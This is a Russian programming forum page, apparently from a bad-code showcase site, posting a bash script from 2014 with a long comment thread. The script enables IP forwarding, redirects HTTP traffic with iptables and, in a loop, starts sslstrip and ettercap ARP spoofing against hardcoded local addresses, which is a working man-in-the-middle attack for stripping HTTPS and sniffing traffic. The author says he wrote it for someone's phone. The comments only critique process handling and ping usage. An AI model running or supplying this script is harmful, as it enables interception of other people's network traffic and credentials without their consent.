- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
#!/bin/bash
FILE="/proc/sys/net/ipv4/ip_forward"
echo "Время Наименование Статус" >> /tmp/for_log.list
echo "______________________________________________________________" >> /tmp/for_log.list
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
IP_FORWARD(){
while true; do
CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
if [ "$CT_FORWARD" = 1 ] ;then
echo > /dev/null
else
echo "1" > $FILE
fi
#sleep 3
done
}
CON_ETHERNET(){
while true; do
echo $(date +%H:%M:%S)" Проверка интернет соединения в обработке" >> /tmp/for_log.list
ping -c 3 ya.ru > /dev/null
if [ $? = "0" ];then
echo $(date +%H:%M:%S)" Подключение к интернет есть" >> /tmp/for_log.list
START_SNIFFIG
else
echo $(date +%H:%M:%S)" Нет интернет подключение fail" >> /tmp/for_log.list
if [ "`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`" = "sslstrip" ];then
$POSE=`ps sx | grep sslstrip | grep -v grep | awk '{ print $2; }'`
kill -9 $POSE >rpmlist 2> /dev/null
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslstrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
if [ "`ps sx | grep tcpdump | grep -v grep | awk '{ print $10; }'`" = "tcpdump" ];then
kill -9 `ps all | grep ettercap | grep -v grep | awk '{ print $3; }'` >rpmlist 2> /dev/null
echo
echo "Процесс ettercap... убит"
echo $(date +%H:%M:%S)" Процесс ettercap убит" >> /tmp/for_log.list
kill -9 `ps all | grep sslstrip | grep -v grep | awk '{ print $2; }'` >rpmlist 2> /dev/null
echo
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslsrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
fi
sleep 120
done
}
START_SNIFFIG(){
#Проверяем, запущен ли уже сниффер
sleep 4
CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
echo $(date +%H:%M:%S)" Процесс sslstrip включен" >> /tmp/for_log.list
echo > /dev/null
else
#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
echo $(date +%H:%M:%S)" Включаю sslstrip включен успешно" >> /tmp/for_log.list
sslstrip -a -f &
fi
CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
if [ "$CHECK_ETTERCAP" = "ettercap" ];then
echo $(date +%H:%M:%S)" Процесс ettercap включен" >> /tmp/for_log.list
else
echo $(date +%H:%M:%S)" Включаю etttercap включен успешно" >> /tmp/for_log.list
ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd /192.168.1.1/ /192.168.1.102/ &
fi
}
IP_FORWARD & CON_ETHERNET
1. Проверяет интернет соединение
2. При наличии инета врубает sslstrip и ettercap
3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
___________
Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи
Dummy00001 23.02.2014 19:14 # +4
Dummy00001 23.02.2014 19:28 # +1
о. автор еще и про pgrep/pkill не знает.
Vindicar 23.02.2014 20:57 # 0
Dummy00001 23.02.2014 21:01 # 0
на дебиане это часть procps - того же самого пакаджа в котором находятся ps и top.
bormand 23.02.2014 20:59 # +1
Dummy00001 23.02.2014 21:05 # +1
bormand 23.02.2014 21:18 # +3
Ну там даже не только что запущен... А еще и то, что этот pid ссылается на нашу прогу, а не на что-то левое (я проверял по /proc/$pid/exe).
Ну либо, как я тоже делал - запускать через обертку, которая удаляет pid. Если обертку убили руками через kill -9 - ССЗБ, будет ругаться, что процесс уже запущен. Если комп крашнулся - при старте оси подчищаются все pid'ы, один хрен они уже бесполезны.
Но зато с пидом можно без проблем запускать два инстанса проги. А при убийстве по имени - с вероятностью 50% убьет не ту.
Konardo 23.02.2014 19:30 # −6
anonimb84a2f6fd141 23.02.2014 19:31 # −4
anonimb84a2f6fd141 23.02.2014 19:38 # −4
Abbath 23.02.2014 22:05 # +2
bormand 23.02.2014 22:07 # +1
Konardo 23.02.2014 22:29 # −5
Vindicar 24.02.2014 07:58 # +2
bormand 24.02.2014 08:07 # +2
defecate-plusplus 24.02.2014 09:41 # +3
ps. вместо тормозного ping лучше брать fping
bormand 24.02.2014 10:04 # +2
> ps. вместо тормозного ping лучше брать fping
Ну тут же не сетку из дохера адресов сканить, а всего один хост пнуть. Тормоза и не заметишь.
inkanus-gray 24.02.2014 10:07 # +3
Abbath 24.02.2014 10:12 # 0
defecate-plusplus 24.02.2014 10:12 # +4
вполне заметно
ping нечего делать в скриптах, зачем спорить
(ну разве что как охуенная замена sleep в непревзойденном cmd.exe)
Stertor 24.02.2014 10:17 # +3
Тов. Бабушкинд так делал. А если учесть, что пинговал он mail.ru, прогу его можно считать орудием ddos )
guest 05.03.2014 20:46 # 0
bormand 05.03.2014 20:50 # 0
guest 06.03.2014 04:23 # 0
bormand 06.03.2014 05:33 # 0
Почему?
guest 06.03.2014 09:14 # 0
bormand 06.03.2014 09:57 # 0
Хотя всем похуй, кому нужна эта точность ;)
guest 11.03.2014 21:18 # 0
bormand 11.03.2014 21:21 # 0
Вот и получится время_паузы * (число_пакетов - 1) + время_пинга.
А на заведомо дохлом адресе - таймаут * число_пакетов.
Таймаут это то, что задано -w, по дефолту что-то около 5-10.
Время паузы вроде и не настраивается никак, секунда. И хуй бы ее знал, отсчитывается она от ответа или от старта предыдущего пакета.
bormand 11.03.2014 21:36 # +1
И если пинговать заведомо дохлый адрес - получится w * n + погрешность на поднятие-опускание процесса.
Еслиже пинговать живой сервер - получим че-то типа 1*(n-1) + пинг + поднятие, что на порядок рандомней.
Запустил бы уже давно, да сам посмотрел бы, чем тут спорить неделями...
guest 11.03.2014 23:32 # +1
Обычно делают паузу на >10 сек, там рандомдность будет незначительной (если прописать -w 1000).
Пинг юзаю уже давно. Жалко, на винде нету time.
bormand 12.03.2014 05:22 # +1
Ну да, как я и писал выше, всем похуй ;)
> Жалко, на винде нету time.
Ага, тоже его всегда не хватает.
inkanus-gray 12.03.2014 06:55 # +1
time /?
guest 12.03.2014 06:56 # +2
guest 12.03.2014 06:57 # 0
bormand 24.02.2014 10:38 # 0
Ну откуда 3 секунды то? Сколько поставишь, столько и будет: Ну разве что время резольва адреса сюда не включается, и создает дополнительный тупняк секунд на 10: > ping нечего делать в скриптах
Если скрипт это делает в фоне раз в десяток минут, то кого, прости, ебут эти 3 секунды?
У пинга один недостаток - парсить выхлоп неудобно, по сравнению с fping'ом.
defecate-plusplus 24.02.2014 10:39 # +3
ping -c 3 ya.ru > /dev/null
оттуда
bormand 24.02.2014 10:40 # 0
Ок, ты победил. Тут 3 секунды.
bormand 24.02.2014 10:41 # 0
Ну и если скрипт работает раз в N минут, то эти 3-10 секунд погоды не делают.
Stertor 24.02.2014 11:25 # −2
bormand 24.02.2014 11:44 # +1
Если просто смотрит, что есть активное подключение - не вариант: вдруг там дальше мертвый роутер. Если реально пробует куда-то подключиться - все ок, сойдет.
Vasiliy 24.02.2014 12:14 # 0
ИМХО самый верный способ через wget ну или самому пытаться что нибудь слить с инета.
Пинг может не прокатить у нас например на работе ICMP наружу не ходят хз почему.
Konardo 24.02.2014 13:04 # −12
chtulhu 24.02.2014 12:51 # −1
Konardo 24.02.2014 13:03 # −12
bormand 24.02.2014 13:07 # 0
Vasiliy 24.02.2014 13:51 # 0
Stertor 24.02.2014 14:10 # −2
минусовал не я.
Konardo 24.02.2014 11:48 # −8